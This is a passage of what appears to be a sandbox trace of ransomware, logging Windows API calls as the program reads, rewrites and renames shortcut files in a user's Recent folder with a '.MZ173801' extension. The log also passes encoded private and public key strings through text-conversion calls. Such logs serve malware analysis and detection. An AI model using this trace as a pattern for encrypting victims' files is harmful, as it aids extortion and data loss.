lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.473] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3e4 [0147.473] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.473] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3e4, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3e4, lpOverlapped=0x0) returned 1 [0147.474] CloseHandle (hObject=0x280) returned 1 [0147.474] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bx_sreHB6g Fc-Lx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bx_srehb6g fc-lx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.475] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3e4, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3e4, lpOverlapped=0x0) returned 1 [0147.476] CloseHandle (hObject=0x280) returned 1 [0147.477] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bx_sreHB6g Fc-Lx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bx_srehb6g fc-lx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bx_sreHB6g Fc-Lx.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bx_srehb6g fc-lx.lnk.mz173801")) returned 1 [0147.477] GetCurrentThreadId () returned 0xab4 [0147.477] GetCurrentThreadId () returned 0xab4 [0147.477] GetCurrentThreadId () returned 0xab4 [0147.477] GetCurrentThreadId () returned 0xab4 [0147.477] GetCurrentThreadId () returned 0xab4 [0147.477] GetCurrentThreadId () returned 0xab4 [0147.477] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e36efb5, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e36efb5, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e3703bc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="bzprLu.lnk", cAlternateFileName="")) returned 1 [0147.477] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.477] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.477] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bzprLu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bzprlu.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e36efb5, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e36efb5, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e3703bc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3a4)) returned 1 [0147.477] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bzprLu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bzprlu.lnk")) returned 0x20 [0147.478] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bzprLu.lnk", dwFileAttributes=0x80) returned 1 [0147.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.480] GetCurrentThreadId () returned 0xab4 [0147.480] GetCurrentThreadId () returned 0xab4 [0147.480] GetCurrentThreadId () returned 0xab4 [0147.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.481] GetCurrentThreadId () returned 0xab4 [0147.481] GetCurrentThreadId () returned 0xab4 [0147.481] GetCurrentThreadId () returned 0xab4 [0147.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bzprLu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bzprlu.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.481] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.481] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.481] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3a4 [0147.481] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.481] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3a4, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3a4, lpOverlapped=0x0) returned 1 [0147.482] CloseHandle (hObject=0x280) returned 1 [0147.482] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bzprLu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bzprlu.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.483] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3a4, lpOverlapped=0x0) returned 1 [0147.484] CloseHandle (hObject=0x280) returned 1 [0147.485] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bzprLu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bzprlu.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bzprLu.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bzprlu.lnk.mz173801")) returned 1 [0147.485] GetCurrentThreadId () returned 0xab4 [0147.485] GetCurrentThreadId () returned 0xab4 [0147.485] GetCurrentThreadId () returned 0xab4 [0147.485] GetCurrentThreadId () returned 0xab4 [0147.485] GetCurrentThreadId () returned 0xab4 [0147.485] GetCurrentThreadId () returned 0xab4 [0147.485] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf597f86a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf597f86a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf597f86a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="c IXUe-mvNtEdk.lnk", cAlternateFileName="CIXUE-~1.LNK")) returned 1 [0147.485] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.485] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c IXUe-mvNtEdk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\c ixue-mvntedk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf597f86a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf597f86a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf597f86a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x489)) returned 1 [0147.485] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c IXUe-mvNtEdk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\c ixue-mvntedk.lnk")) returned 0x20 [0147.486] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c IXUe-mvNtEdk.lnk", dwFileAttributes=0x80) returned 1 [0147.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 